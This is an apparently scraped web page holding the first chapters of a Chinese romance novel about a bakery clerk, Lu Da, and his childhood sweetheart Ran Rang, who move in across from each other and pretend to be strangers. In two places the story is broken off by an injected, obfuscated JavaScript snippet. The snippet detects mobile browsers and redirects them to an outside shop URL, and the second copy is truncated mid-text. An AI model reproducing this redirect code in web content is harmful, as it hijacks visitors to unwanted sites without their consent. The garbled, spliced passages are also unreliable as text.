《和竹马恋人装不熟》 1. 新的对门【修】 卢答买完菜,提着两大袋东西艰难地上了楼。 小区很旧,楼道窄小,如果上下楼的人彼此撞见,就只好各自侧着身子,一点点贴着墙壁蹭过去。 终于走到401门口,卢答放下菜。低头一看,掌心已被勒出两道交叉的红痕。他生得白,那红就尤为明显,一时之间还有些吓人。 卢答叹了口气,合上了手。正要进去,他听见对门有动静,忍不住转身看了两眼,一双点漆般的眸子里满是好奇。 对门本来住着一对老夫妻,听说女儿在外打拼多年,终于在北上广落户成功,前几天来把父母接走了。 看样子,是新邻居搬进来了。 看门大爷正摇着蒲扇,和搬家公司的人说话。卢答和大爷打了个招呼,看见房门半开,门里有小山一样的纸箱堆在地上,摆得整整齐齐。 好多行李,卢答咋舌。他一边脱鞋进门一边想,只希望新邻居好相处一点,可千万别像之前那位一样半夜蹦迪。 生鲜收进冰箱,零食放进柜子,忙完这一系列事,卢答才终于闲下来。 目光逡巡过满满当当的冰箱,一种哪怕下一秒末世自己也能苟活一个月的安全感油然而生,卢答心里很满意。 401是一室一厅一卫的格局,在进门的右边位置隔出一个小厨房。 卢答搬来后添置了冰箱和沙发,冰箱用处很大,沙发倒只起摆设作用,他更多时候都是直接坐在地上。 就比如现在。 卢答煮了个番茄鸡蛋面,就地坐在毛茸茸的地毯上,把平板支在茶几上,一边吃面一边看,不时笑出声。 正看得起劲,嘴里咬到了什么硬物,卢答吐在纸上,再顺手把蛋壳丢进垃圾桶,眼睛都没离开过屏幕,俨然已经习以为常。 厨艺就这样了,凑活着吃吧。 只是偶尔,在吃到盐粒时,卢答也会很怀念某人。 夜逐渐深了,明天还要上早班。卢答收拾完碗筷,准备早点睡觉。 卧室只留了盏夜灯。 卢答侧睡,把脸埋进萝卜玩偶里,只露出小半张脸,让那黄澄澄的光晕留在自己余光里。外面车声隐约,驶过深夜,卢答的意识渐渐模糊。 这是卢答搬到丘市一月后的平凡一天,和往常并没有太多区别。 *** 第二天,闹钟准时地在五点五十响起,卢答被铃声吵醒时还懵着,下意识按掉闹钟,又闭着眼迷迷糊糊睡回去。直到五分钟后闹钟再响起。 这个班非上不可吗…… 卢答哀叹,不明白自己为什么把好好的采风上成了班,又挣扎一会,才揉着眼睛坐起来。 梦游似地洗漱好出来,卢答看了眼时间,刚好六点二十。 对面门紧闭,想必新邻居已经搬进来了,卢答轻手轻脚地反锁好门。 他提着垃圾下楼,在底楼碰见了回来的郑慧,郑慧笑眯眯,率先招呼:“小卢,上班去呢?” 卢答朝她笑:“是,早呀郑姨,今儿排了我早班。你送童童上学去啦?” 童童是郑慧的外孙女,在另一个区的二小上学,每天奔波。 卢答生得很白,秀美到漂亮了,明眸皓齿,一弯眼笑起来,却灿烂无比。 他睡醒后没怎么打理自己,额头上还有根呆毛一翘一翘,学生气未泯,是最招女性长辈们喜爱的那类人。 人皆爱美,郑慧遇到好看又懂礼貌的小年轻,也爱多嘱咐几句,见卢答去旁边停车棚蹬自行车,叫他路上小心些。 郑慧道:“下班来郑姨家摘小葱啊!” “好嘞姨,那我晚上煮面可有福啦。” 卢答朝她眨眨眼,蹬着自己的二手自行车,告别了笑得合不拢嘴的郑慧。 卢答搬来一个月,已经和大部分邻居混了个脸熟,彼此路上遇见,也会打个招呼。一路上经过下棋的老大爷们,又打了几个招呼。 “袁爷爷早!张爷爷早!” 话还没落,人已经远了。 仲夏的早晨微冷,卢答蹬得飞快,短袖衬衫被风吹得鼓起来,他在拂过自己脸颊的风里觉得畅快,忍不住笑弯了一双眼。 * 一直到店门口,才被杨舒文打断。 店门旁挂着块小黑板,杨舒文正在上面写今日特价,一笔一划很认真:蓝莓贝果十元两个。转身看见卢答的笑脸,觉得匪夷所思:“弟啊,你上班这么开心吗?” 卢答咳了声,把车停店旁,跟她打招呼:“早呀舒文姐。” 他发现杨舒文今天穿了条碎花连衣裙,又夸:“你今天好漂亮呀。” 杨舒文扎着丸子头,已经套好了围裙,利落而干练,笑嘻嘻地回卢答:“你也很漂亮。” 郑萱走出来看到这一幕,觉得好笑:“你俩在那捧哏啥呢。” 卢答也跟她问好,去拿围裙穿上,叼着郑萱给自己留的面包边角料当早餐,三两口吃了,出来和她一起把卷帘门往上抬,面包店这就算开门了。 ——没错,卢答现在的工作,就是在面包店里当店员。 太阳升起有一会儿了,日光喧和地落到遮雨棚上,后面的“童童面包店”五个字被照得闪闪发光。 今天也是个晴天。 卢答喜欢太阳,也喜欢香喷喷的面包店。 * 丘市不大,生活节奏慢,郑萱在这里开了十几年面包店,东西物美价廉,口碑好,因此生意很不错。 面包店的工作忙碌如往常。 卢答进去工作,摆货,放价格牌,整理货架,打包蛋糕,抽空还要招呼客人推销新品。 杨舒文本来在收银台负责收银和打包,不过忙起来两个人的工作也不会区分那么细,有空就会给彼此搭把手,但一上午依然累得够呛。 店门口挂着个蓝色风铃,一有人来就响,声音清脆,丁零当啷地响了大半天,过了午后才稍稍安静下来。 郑萱出来看店,卢答和杨舒文去隔壁快餐店对付了一顿午饭,两人饿得简直前胸贴后背,甚至来不及分享八卦,吃完又匆匆地回来。 郑萱点了下货品,觉得今天能提早关门:“芝士咖喱包和盐可颂卖很好啊……” 她看了眼时间,带着歉意道:“没想到今天生意这么好,正好一点半了,小杨小卢你们先走吧。” 面包店里暖烘烘的,卢答感觉都有汗从鬓角滑下来,他随手抽了张纸,注意力却还放在郑萱身上:“萱姐,你一个人忙得过来吗?” “小芷说她要到了,到时候她做蛋糕我看店,下午估计也没那么多人了。” 郑萱笑眯眯:“你们快走吧,今天真是辛苦了。” 她口中的“小芷”,是她妹妹郑芷,前几年刚毕业,回到老家和姐姐一起经营面包店。 童童面包店分早晚两班,早班是上午六点半到下午两点半,晚班是两点到晚上十点。 今天本来是郑芷和卢答上早班,但她临时有事情,就摇了晚班的杨舒文来。 话说到这份上了,卢答也不再推脱,和杨舒文脱了围裙,准备回家。 * 午后的阳光正好,工作日的街上人也少,竟然显得宁静。 风悠悠的,再次吹过卢答面颊。 阳光强烈,卢答眯着眼睛,在店门口站了会儿,才觉出了提早下班的开心,他捏了捏自己酸痛的腰,唇角弯弯,情不自禁地哼着歌,慢慢地骑回家了。 骑了没一会儿,卢答就远远地看见了一幢砖红色的小楼。这楼叫光明公寓,楼前还有两棵大桂花树。 卢答知道,晚上还有老大爷坐在树下乘凉,不过这会儿暑热未褪,又是午睡时候,楼里也安安静静的,没什么声响。 听早上下棋的张大爷说,到九月,桂花满树,那叫一个十里飘香,公寓里的每个房间都能闻到清幽的桂花香。 光明公寓已经有几十年的历史了,最开始是作为周边一所中学的教师宿舍,后来学校搬迁,公寓也几经翻修,到八十年代,成为了电厂的员工宿舍,一直到今天。 卢答目前就住在这里。 * 公寓设施虽然老旧,但距离面包店很近,骑自行车只要七分钟。 最重要的是,房租很便宜。 短租七百一个月,长租六百,水电七十一个人,这对于目前月薪三千的卢答来说,真的很重要。 嗯,他本来就只做半天,还隔三差五请假,月薪都不一定有三千。 兼职后,卢答发现,钱真的来之不易……自己赚的钱用起来一时肉痛不已,便想着能省则省。 不过公寓虽旧,但地段便利,家具齐全,在出租屋市场上十分紧俏,卢答能找到这么好的房源,还多亏了面包店的老板郑萱。 她帮忙牵桥搭线,而这里除了空间偏小,地段价格都合适。 卢答很满意,坦诚了自己只租三个月,屋主却仍答应给卢答长租价,便当场签了合同,押一付三,搬了进来。 要卢答说,其他都还好,只是旧公寓楼没有安装电梯,楼道又窄,上下楼是最不方便的。 就比如现在,他和一个下楼的大叔就撞上了。卢答后退几步,回到了中央平台,先让大叔过去。 忙了半个上午,卢答都没看手机,此时顺手点开微信,发现刚好来了新消息,是备注叫崔崔的人。 【在水一方】: 【在水一方】:我女是24号,请投!你一票我一票,雪妍明天就出道! 这是卢答的好友崔溯洄,女团重度爱好者,最近在追一个新女团,每天都在亲朋好友小窗给自己喜欢的小偶像拉票。 卢答投完票,页面很快跳转回微信。 【巧克力几分熟】:已。 【在水一方】:谢啦答儿 【巧克力几分熟】:这样叫听起来好奇怪啊。 【在水一方】:你又不让叫小名,今天不上班吗 【巧克力几分熟】:今天早班,而且提早下班了。 【巧克力几分熟】:[小猫跳舞].jpg 楼道上没什么人,卢答一边慢悠悠地走,一边打字,听崔溯洄抱怨她家小偶像的镜头又变少了。 【在水一方】:真是岂有此理!每周都能比上一周少[愤怒] 【巧克力几分熟】:为你家小偶像默哀,我能做的只有帮你拉票。 【在水一方】:答儿,我会永远记得你的恩情 卢答顺手把投票链接发到朋友圈,打完“朋友喜欢的女豆,请大家帮忙投个票,感激不尽”,正准备发,又犹豫地选了分组可见,把爸妈给屏蔽了。 统计出来,发现崔溯洄又给自己发了新消息。 【在水一方】:我最近给楚恕之发消息他都不回,又进实验室了吗 【巧克力几分熟】:对啊,他之前在群里说的,你没看到吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344662|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚恕之是和两人一起长大的好友,他是那款“别人家的孩子”,上学时连跳几级,报志愿时果断地选了生物科学,极有主见。 虽然年龄比两个人还小,但已经是研究生了,成天跟着导师泡在实验室里,经常断联。 又插科打诨了几句,崔溯洄说要继续拉票了,两个人才结束聊天。 卢答想起确实好久没和楚恕之聊天,又点开名叫[F4]的群聊。 他的目光停在背景上,先情不自禁微笑起来。 那是一张高中时的四人合照,崔溯洄摆了个很酷的Pose,楚恕之一如既往地比着剪刀手,卢答在大笑,灿烂地挂在另一个人肩上。 那人骨相优越,五官立体,气质使然,俊拔的眉目冷凝深戾,像一块嶙峋的石,下三白眼锋芒毕露。 卢答带着酒窝的那柔软脸颊却紧紧贴着他,琥珀圆眼和下三白眼一同注视着镜头,亲昵无比。 四人都穿着蓝白校服,青春的气息扑出了相片边缘。 卢答伸手,轻轻摩挲了一下另一个人的脸,又像被烫到了般霎时收回手。 他轻叹一口气,退出群聊。 卢答抬头看了眼,发现自己快到四楼了,便加快了脚步,转而点开楚恕之的聊天框,用单手轻敲着键盘,故作轻快。 【巧克力几分熟】:还活着就吱一声。 【巧克力几分熟】:忘记告诉你,我来丘市这边了,目前在面包店打工。 【巧克力几分熟】:等你出实验室,和崔崔一起来丘市,我带你们玩! 等到403门口,卢答低着头,一边在口袋里翻找钥匙一边打字。 他兜里东西不少,摸了好一会儿。等终于找到钥匙,卢答听见身后传来“吱嘎”一声。 * 卢答的新邻居开门了。 卢答下意识转头看了一眼,却愣在了原地。 新邻居个头很高,卢答第一眼看到的是他胸前。 他只穿了件黑背心,看着刚洗过头,发尾湿漉漉的耷拉在肩上,水滴洇出几道湿迹,一路蔓延往下。 无袖背心贴身,又带着湿迹,把肱二头肌和腹肌的形状都分明地勾勒出来。 这人是不是有点太不把邻居当外人了? 卢答对陌生人的肉/体没兴趣,微蹙眉头,瞟到就飞速收回视线。只是不知为何,这肌肉走向和线条分外眼熟,卢答迟疑着,把视线转了回来。 不是吧……? 卢答一顿一顿地抬起头。 新邻居头几乎顶着门框了,给人的压迫感十足,此时正一手推门,另一手按着块毛巾擦头发。 他高鼻深目,眉型英气,一双下三白眼,眼尾上挑,本就冷峻的一张脸,更增添几分戾气,是凶得能止小儿夜啼的脸。 卢答却一眨不眨,微愣地看着他。 新邻居胡乱地擦了两把头发,那半湿的头发没有塌着,反而显得刺人。 臭脸,但是湿身,有肌肉。 有人不看脸,就一个单手擦发的动作也帅得很轻易。 他像留意到卢答的视线,动作微顿,抬起头,微拧着眉,居高临下地睨了卢答一眼。冷淡的目光和卢答正好相撞,幽微的眼底燃着隐晦的炽热。 不知为何,谁也没率先移开视线。 水珠从眉峰滚下,滑过新邻居高挺的鼻梁,“嗒”地掉在了水泥地上。 卢答再次惊醒似地,惊惶地后退了一步,抓住门把手。 他这反应却好像惹恼了新邻居,他啧了一声,把毛巾甩到了背上,先发制人:“别乱盯着别人看。” “哦。” 小气鬼,看两眼肌肉咋了。 卢答无话可说,腹诽道:搞得好像你刚才没看我一样,就差扑上来把我当骨头啃了。 * 卢答回屋,背抵着门,感觉自己大脑有点乱。手机叮一声,来了新消息,卢答像抓救命稻草一样打开手机看消息。 是崔溯洄,她像个打卡机器人,每天准时准点问候卢答,生怕他一个不注意就死在了外面一样。 【在水一方】:下班了吗!今天过得怎么样! 【在水一方】:哦不好意思习惯了,忘记你今天已经下班了。 卢答心还有点怦怦跳,随手打着字。屋里没开灯,屏幕的白光照在他脸上,显得他愈发莹润。 消息刚发出去,卢答皱着鼻子,鼻根的小痣也一动,他又慢慢地打了一条。 【巧克力几分熟】:我现在有点,大脑空白。 【在水一方】:怎么了? 【巧克力几分熟】:对门搬来了新邻居。 【在水一方】:如何 【巧克力几分熟】:客观来说,臭脸死装哥。但帅。 但帅。卢答发自内心地感叹着。 崔溯洄还没意识到事情的严重性,哈哈笑着。 【在水一方】:谁还能和冉让一样臭脸一样装一样帅啊哈哈哈哈哈哈哈 卢答沉默了一会儿,慢慢打字。 崔溯洄突然发来消息轰炸。 【在水一方】:不好不好,前方来报!冉让好像知道你在哪儿了[惊恐]你快点跑吧! 【巧克力几分熟】:可能跑不了了。 卢答回复了她的上一条消息。 【巧克力几分熟】:[回复]有的亲有的。 【巧克力几分熟】:那当然是冉让本尊。 2. 势在必得【修】 下午两点上班,卢答姗姗来迟,踩着五十九的点推门进来。 杨舒文已经穿好了围裙,正在柜台后折蛋糕盒,见状有点稀罕:“小卢啊,你今天来好晚。” 平时卢答可都是雷打不动,提前十分钟就到店了。 话还没落,她看到卢答的脸,先笑起来,一边笑一边叫郑萱:“萱萱姐你来看,卢答要成保护动物了。” 卢答走进里间穿围裙,回嘴:“对,等会市政府就来了,童童面包店马上就要划为丘市大熊猫自然保护区了。” 杨舒文乐:“那是不是还能收门票钱啊?” 卢答边戴口罩边朝她一笑:“可以啊,到时候你就站门口收门票,拿到的钱我九你一。” 杨舒文不满:“怎么你九?” 卢答挑眉:“因为我是被展览的那个啊。” 郑萱早就习惯两个人的拌嘴,然而掀帘子出来看了眼,也忍不住笑了:“小答,你昨晚几点睡的啊?” 卢答转身,颇显无奈,对着郑萱叹了口气,却很乖巧地回答:“很早睡的,但没睡好。” 不怪她们两个笑,今中午卢答起床,对着镜子都楞了一会儿。 镜子里,他神色倦怠,头发凌乱,发尾卷得都要打结了,黑眼圈重得像整晚都在做贼。 他皮肤白,黑眼圈格外显眼。卢答打理了头发,却实在拿这黑眼圈没办法,甚至真有了请假的念头,然而想到全勤的两百块,又叹着气蹬上自行车了。 今天的生意倒没昨天那么忙。临近四点,杨舒文出门送蛋糕去了,让卢答多看会儿店。 卢答应了,见架上的面包被翻乱了,便走过去整理。他手上动作着,却忍不住走神。因为晚上没睡好,他午睡久了些,结果险些迟到。 至于为什么晚上没睡好…… 卢答想着想着,有些咬牙切齿,思绪慢慢飘回。 *** 夜灯亮了整夜,他紧紧抱着萝卜玩偶,深陷梦境中,眉心微微皱着,睡得并不安稳。 如果捕梦网切实有效,并在卢答的床头挂一张,那么他的梦境就会徐徐展开。 一整晚都在乱梦。 最开始,卢答梦见自己走在一片花海里,粉白香雪兰在风中摇曳,香气悠远,花瓣簌簌,包围着卢答。 落日余晖铺满远处天空,卢答觉得好宁静,他伸出手,想要摘一朵香雪兰带回家,花海中突然冒出了一个高大的园丁。 园丁背着一把巨大的花木剪,边缘凌厉,如黑曜石一般的下三白眼燃着怒火,他怒视卢答,声音微哑,雷声一般轰隆隆:“你想偷我的花?” 然后他拔腿向卢答冲来,一边跑一边挥动他的大剪刀,“咔嚓咔嚓”,“咔嚓咔嚓”。 卢答就这样在梦里被追了一整晚。 第二天早上闹钟声响起时,卢答头昏脑涨,闭着眼睛去按闹钟,觉得眼睛酸痛无比。好半天,他挣扎着坐起来。 意识回笼,他才想起昨晚太慌乱,忘记关闹钟了,今天是晚班,不用早起。 卢答:…… 他默默地躺了回去,把被子拉过头顶。 累了,好想成为卢答(一睡不醒版)。 醒后很难再睡回去,卢答努力入睡,均以失败告终。他索性闭目养神,思绪却不自觉地滑到昨晚的梦里。 卢答抽了抽嘴角:最近无限流看多了吗,怎么做个梦还带大逃杀的…… 而且,在一整晚的花田大逃杀里,要是自己没记错,那个剪刀园丁长着一张熟悉的、他睡前刚见过的脸。 冷峻淡漠、但又着实英俊的……脸。 新邻居的脸。 冉让的脸。 这人怎么阴魂不散? 卢答无语,抱过一边的萝卜玩偶埋进去,掩耳盗铃般地盖住眼睛,在心里哀叹。 昨晚睡前,他又和崔溯洄播了通电话。 崔溯洄问:“那你打算怎么办?” 卢答说:“他和我装陌生人呢。” 崔溯洄反应很快,咋舌:“所以你们俩又开始了那个装不熟,把其他人都变为你们play一环的游戏吗?” 卢答纠正她:“不是游戏,是赌约,赌约啦。” 这个游戏起源于两人幼时,如何开始已经没人记得:两个人装作陌生人,视情况的严重程度而决定要不要线上联系,谁先承认或先没忍住当面叫出对方小名,谁就输了。 赢家可以获得一个无条件的承诺。 虽然被好友们多次吐槽,但这却经常成为他们两人产生分歧时的解决办法。 吵架伤人,冷战伤心,谈爱时总会让问题过渡得太轻易,埋藏下隐患,不如给彼此一段时间,慢慢思考。 卢答想,是这样的,嗯。反正绝对不是该死的胜负欲在作祟,绝对不是。 崔溯洄吐槽:“大哥,请问你们冷哪儿了战哪儿了……你们这叫热爱还差不多。” “所以呢,我需要配合你们吗?” “不用,你维持原样就好啦。”卢答又不可能真把朋友当成Play的一环,笑得无奈:“崔崔,我们俩在你心里到底是什么形象啊?” 崔溯洄掰着手指数,认真道:“程序员和设计师,大臭脸和小漂亮,很有钱和很会花,狗和……” “停停停,”卢答听她越说越不像样,睨她一眼,打断她:“你每天都在网上刷什么东西啊?” 通话结束时,卢答看着窗外悠远明净如蓝宝石的夜空,轻轻笑了:“我不会输的。” 让冉让乖乖认输的事,他势在必得。 * 正这时,门被推开,风铃清脆地响了一声。 记忆回笼,卢答抬起头,下意识地扬起笑,八颗牙齿闪亮亮的:“欢迎光临——” 他抬脚走过去,准备招呼客人:“您好,要买点……”后半句话好悬卡在喉咙里,差点把卢答噎死。 不是吧,这算哪门子的说曹操曹操到? 怎么刚想着,冉让就能空降到自己眼前。 卢答瞄了一眼,冉让今天穿的似乎也是背心,只是还穿了件棕色的皮衣外套。 他薄唇紧抿,眉也压着,是一如既往的凶相。皮衣上的柳钉闪闪,折射出一点微光,显得他冷峻非常。 虽然昨晚刚放话要让冉让输,但此时卢答的第一反应就是躲。 可环视一圈,能躲哪儿去呢?此时店里只有自己一个店员,总不能把后厨的郑萱叫出来吧。 于是他吸了口气,假装若无其事般地继续微笑:“请问要买点什么?如果有需要想话我可以替您介绍一下。” “唔。” 冉让轻点下巴,有点倨傲似地点点头,却没说话。 等了半晌都没动静,卢答有点疑惑地歪了歪头,看向他,却没想到冉让也直直地看过来。 那目光一眨不眨,存在感极其强烈,卢答错觉自己身在草丛,面对时刻准备择自己而噬的猛兽。 但下一瞬,冉让移开视线,那双下三白眼低垂,长睫掩去思绪。 刚发生的一切像是卢答的错觉。 冉让说:“麻烦你介绍一下吧。” 说完,他又补充道,客气得刻意:“谢谢。” 冉让声音微哑,稍显粗粝,却并不难听,像石子骨碌碌滚过去,很有辨识度。 卢答想,你还怪有礼貌的嘞。 他带着冉让绕进柜台,一边示意一边介绍:“这个牛乳吐司是我们店的经典款,卖得特别好,奶香十足,绵软香甜,老人小孩也都咬得动。” “这个肉桂核桃卷是爆款,里面的核桃仁都是每天现剥的,这是抹茶碱水包,有嚼劲,热量也低,适合对身材管理有要求的顾客。” “还有这个,”卢答迟疑了一会儿,自暴自弃般地一指:“这是我们店的新品蜂蜜小面包,新鲜出炉……” 果不其然,他听见身后冉让一声轻笑,短促得像个错觉。 等卢答都要讲得口干舌燥了,冉让还没决定好买什么,他不时点点头,只是视线始终跟随着卢答,没往柜台看一眼。 卢答只得又露出标准微笑:“您有喜欢的面包吗?” 他加重了语气:“或者,您有什么需求和忌口吗?” 察觉到卢答耐心告罄,冉让的雷达微响,他这才低下头,回神一般地看了看卢答,然后指了指蜂蜜小面包。 “这个,五袋。” “好的,五袋,呃,蜂蜜小面包。” 卢答简直受不了他那眼神,点点头,正要转身去打包,身后风铃叮呤当啷地一响,杨舒文推门进来:“我回来啦!” 卢答像看到救星了一样,眼睛一亮,喊道:“舒文姐,这位顾客要五袋蜂蜜小面包,麻烦你打包一下,我去后面看看萱姐需不需要帮忙。” 说完他就溜之大吉,只是推开后厨门时,依然觉得如芒在背。 杨舒文看他那微卷的发梢消失在门里,倒觉得有点奇怪:“跑这么快干嘛,我又不会吃人……” 她去洗了个手就转身来打包,动作很麻利,没让冉让久等:“五袋蜂蜜小面包是吧,这就好!” * 过了好一会,卢答才从后厨出来。 他先踏出一只脚,环视一圈,见店里没人了,才出来。 “你干嘛呢!” 一只手伸来,拍了拍卢答后背,他一个激灵,转身才看见是杨舒文。 卢答吁一口气:“吓死我了……” 杨舒文说:“抱歉啊抱歉,没想吓你,就是想问你蹑手蹑脚干啥呢。” “没什么,”卢答轻巧地把话题拨走:“刚萱姐说小芷来了做明天上午的蛋糕单子,小芷怎么还没来吗?” “是呢,”杨舒文的注意力被转移走了,转身要去找手机看时间:“小芷说下课就过来,现在几点了?” 卢答看了眼表,回答:“五点十八了。”杨舒文思忖:“她四点下课,平时五点不到就来了呀,我打个电话问问。” 号拨出去,风铃又响,有人进门,身上响起了《One Last Kiss》的旋律。 “来了来了,”郑芷一手牵着个扎麻花辫的小女孩,一手合门:“腾不出手了,杨舒文你挂了吧。” “嗨,”郑芷向卢答打了个招呼,转头解释:“今天我妈有事儿,让我去接童童,路上耽搁了一会儿。” 童童学校在另一个区,离这儿很远,单程快一个小时。 卢答笑:“嗨。”他补充:“我每次都觉得你比我更像大学生。” 郑芷得意挑眉:“那说明我显年轻。” 她扎着个马尾,上身是星星和兔子图案的紧身短袖,下身是百褶裙叠穿阔腿裤,脖颈和手腕上都有好几层彩珠和银饰品,一碰就叮呤当啷。 是在小县城有点少见的亚比打扮。 杨舒文每次看她都替她脖子累:“这是挂了个五金店在身上吗。” “来童童,和哥哥姐姐打个招呼。” 郑芷拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他又转身向蘑菇凳子说,煞有介事:“你好呀蘑菇凳子,我是卢答,很高兴认识你。” 童童看了卢答两眼,背着书包坐了过去。她个头不高,坐在上面两腿都够不到地,一晃一晃。 卢答嘴甜,说话的艺术一套一套的,死的都能聊活,但童童实在内敛,卢答问她,她也只是摇头或者点头。 卢答并不气馁,陪着她做手工。两个人搭着积木房子,不聊天,但气氛倒也自得其乐。 房子搭好,童童不知道从哪儿拿出一个发夹,小声道:“住进去。” 那发夹上有个很可爱的猫咪头,卢答揣摩了一下她的意思,确认道:“这是给咪咪搭的吗?” 不知道是不是“咪咪”两个字取悦了小女孩,童童用力地点了点,还朝卢答笑了一下。 卢答有些受宠若惊地帮她把发夹放了进去。 没玩一会儿,那边郑萱收拾好了,叫童童走了。童童穿着皮鞋,跑起来蹬蹬的,蹬蹬跑过去,又蹬蹬跑回来,直接推翻那座耗时不少的小房子,拿出了猫猫发夹:“给你。” 然后她跑回去躲在郑萱腿后面。郑萱习以为常地笑笑,摸摸她头:“跟哥哥说再见没有呀?” 童童摇摇头,等郑萱又摸摸她头,才朝卢答挥挥手。 卢答也朝她挥手,笑眼弯弯:“谢谢童童,再见。” 他把那发夹别在衬衫领口,回来帮工。 郑芷看见,很稀奇:“这个发夹童童很宝贝啊,你还蛮招小孩喜欢的嘛。” 卢答叼了根棒棒糖,本来是打算给童童的,但郑芷说她最近蛀牙不能吃糖,就只好自己解决了。 “还好吧,我有个朋友才是真的招孩子喜欢。” 卢答咬着糖,说话含糊,还在笑:“而且小孩子其实是最好交朋友的,他们没有那么多弯弯绕绕。你用真心就能换真心。” 郑芷:“受教了,社交大王,受我一拜。” 玩笑间,时间很快就临近打烊。 三人合力打扫完卫生,卢答留在最后关门。 他拉下铁门帘,拍拍手,转身去蹬自行车。 * 忙了半天,卢答有点累,骑得慢吞吞,骑一半旁边大排档还飘来一阵孜然味,他吸吸鼻子,有点馋烧烤了,于是临时转道。 等提溜上一袋子烧烤,夜已深,风微冷,卢答一鼓作气,准备蹬快点回家。 要路过一段窄巷,路灯老旧,光芒如豆,还偶有飞虫不知疲倦地撞上去,猝灭的瞬间光线更暗,不时闪烁。 巷子宁静,卢答听到了很有节奏感的脚步声。 从自己身后传来。 这大半夜的…… 卢答蹬得更快了点,但是脚步声没被甩开,不紧不慢地跟随着他。 幸好自己有带包的习惯。 卢答眉微拧,右手把着笼头,左手去摸包侧面的防狼电弧棍,心微微提起来。 夹层里应该还有小刀来着……但这种东西,一个不慎被夺走,反而会变成对方的武器,卢答不敢用。 他在心里估算着,再骑五十米就到巷口了,那里就是大路了。 蹬很快,五十米也就十几秒。卢答骑出小巷,在大路口一个飞刹转身,出其不意地停下,一手制住车,一手已经握住了电弧棒,警惕地往里看。 “什么人!” 脚步声也跟着出来了,像没预料到卢答的反应,有点犹疑地停住。来人个头很高,穿了件连帽衫,帽子还戴着头上,插着兜,背影黑压压的。 卢答却微愣,提着的心放了下来,他眉轻挑,神情居然有些嗔怒。 “是你……” 来人伸出手,把帽子摘了下来,露出一张五官分明、高鼻深目,没有表情的俊脸。 是冉让。 3. “宝宝,好乖。”【修】 看见是他,卢答才松了一口气,心还在胸腔里怦怦跳着,他卸了力气,才发现手心汗湿了。 卢答放松下来,悠悠地拨了下车头,问:“你在这儿干什么?” 巷口的路灯明亮,一束雪亮的光兜头盖脸地降下,又散到卢答身上,把卢答微卷的睫毛照得根根分明,连鼻根小痣都纤毫毕现。 卢答整个人像在发光。 卢答歪着头,同样微卷的发梢随着动作一晃一晃,垂在颈上,冉让的视线不自觉被牵引过去,看见那截白皙的颈。 视线落到颈子上似有若无的红痕时,他定定地看了两秒,才把视线移开。 冉让摸了摸鼻子,淡声道:“夜跑。” 他突然问:“你认识我?” 先装不认识了是吧? 卢答捏着把的手紧了紧,一时之间觉得好笑又无语。但是内心的胜负欲却被冉让激了出来,装就装,谁赢还不知道呢。 卢答道:“你就住我对门啊,我俩昨天还见过呢。你还让我别乱看,怎么,忘记了?” 冉让好像才反应过来,啧了一声,有点不耐似的抓了把头发,道:“抱歉,我脸盲,忘了。” 说着抱歉,神情却是理直气壮的。 “那重新认识一下?” 卢答向他伸出手,促狭:“我是卢答,很高兴认识你。” 冉让犹豫了一下,他本来没打算这么快就和卢答产生接触,但今天见卢答下班晚了,在家里怎么也等不住,团团转了半天,还是出来了。 他本想假借夜跑名义,把卢答安全送回家,却忘记了卢答的警惕心有多强。于是现在进退两难。 * 此时已是夏的尾巴,空气微温,一阵风来却使汗湿的后心冷却,闷得恼人,凉得恼人。 路边仍有不知疲倦的飞虫,盘旋于灯罩上,一头撞进滚烫的光明里。 看着卢答的璀然笑靥,冉让明知是陷进,也还是伸出手,和他相握。 他手很大,骨节分明,轻而易举就能包住卢答的手。卢答捏着他手,使劲儿晃了两下,不待他说话,率先开口。 “你是叫……” 卢答停顿了一下,才慢吞吞道:“冉、让,对吧?” 他远比冉让狡黠,自如地补全了话里的漏洞:“我听楼下周大爷说的。” 两人对视一眼,心知肚明对方不会真的去考证。 “嗯。” 冉让把手收回去,继续揣在口袋里。 卢答留意到他穿的已经不是下午那一身了,估计为了跑步换了套衣服。 不知道是不是巧合,新换的这套运动装,也是卢答挑的。 * 晚风悠扬,巷口临近居民区,又时值半夜,很宁静,只有远处蝉鸣一声又一声。 卢答正琢磨着不骑车了,反正也快到公寓了,推着车还能和冉让一起走一段。 但还没等他下车,冉让先一步伸手戴上了帽子,把那张俊脸重新藏匿起来,他朝卢答略一点头,微微颔首:“我先走一步。” 话音未落,他已经跑走了,只留给卢答一个高高的、宽肩窄腰的背影。 好冷淡,看你能装到什么时候。 卢答啧了声,也骑上车,逆反心上来了,蹬得比刚才还要快一点,掠过冉让身边,笑道:“不好意思,我先走一步了!” * 烧烤冷了就不好吃了,卢答惦记着烧烤,心急如焚,停了车就匆匆地往上走,三步并作两步,在二楼却突然被叫住了。 他疑惑地转身,发现是本应熟睡的郑慧。 “怎么了姨,”卢答放低声音,还有些不好意思:“是我吵醒你了吗?” 郑慧摆摆手,笑眯眯:“是我自己睡不着,人啊,上了年纪觉就少。” 卢答问:“那你吃烧烤不,”他举起袋子示意:“老杨烧烤,还热腾腾的呢。” 郑慧问:“辣不?” 卢答点头:“包辣的,我盯着叔撒了三遍料。” 郑慧以不符合年纪的敏捷四处左右上下看了眼,楼道空空,她示意卢答去尽头的小阳台。 “给姨整点。” 两个人蹲在阳台栏杆边,偷感很强地分食完了一袋烧烤,有一搭没一搭地小声聊着天。 小阳台不大,两侧放满了泡沫箱,都是住户自己种的小葱香菜,长得葱茏,让蹲着的人很有安全感,就是蚊子有点多,卢答拍完一波又来一波。 郑慧是本地人,对八卦可谓信手拈来,哪户男人和老婆吵架脸被抓了三道,哪户搞外遇结果和也在搞外遇的大舅哥撞上,哪户贪小便宜结果被诈骗了好几万…… 卢答听得津津有味,酒窝都要笑僵了,简直顾不上吃了。 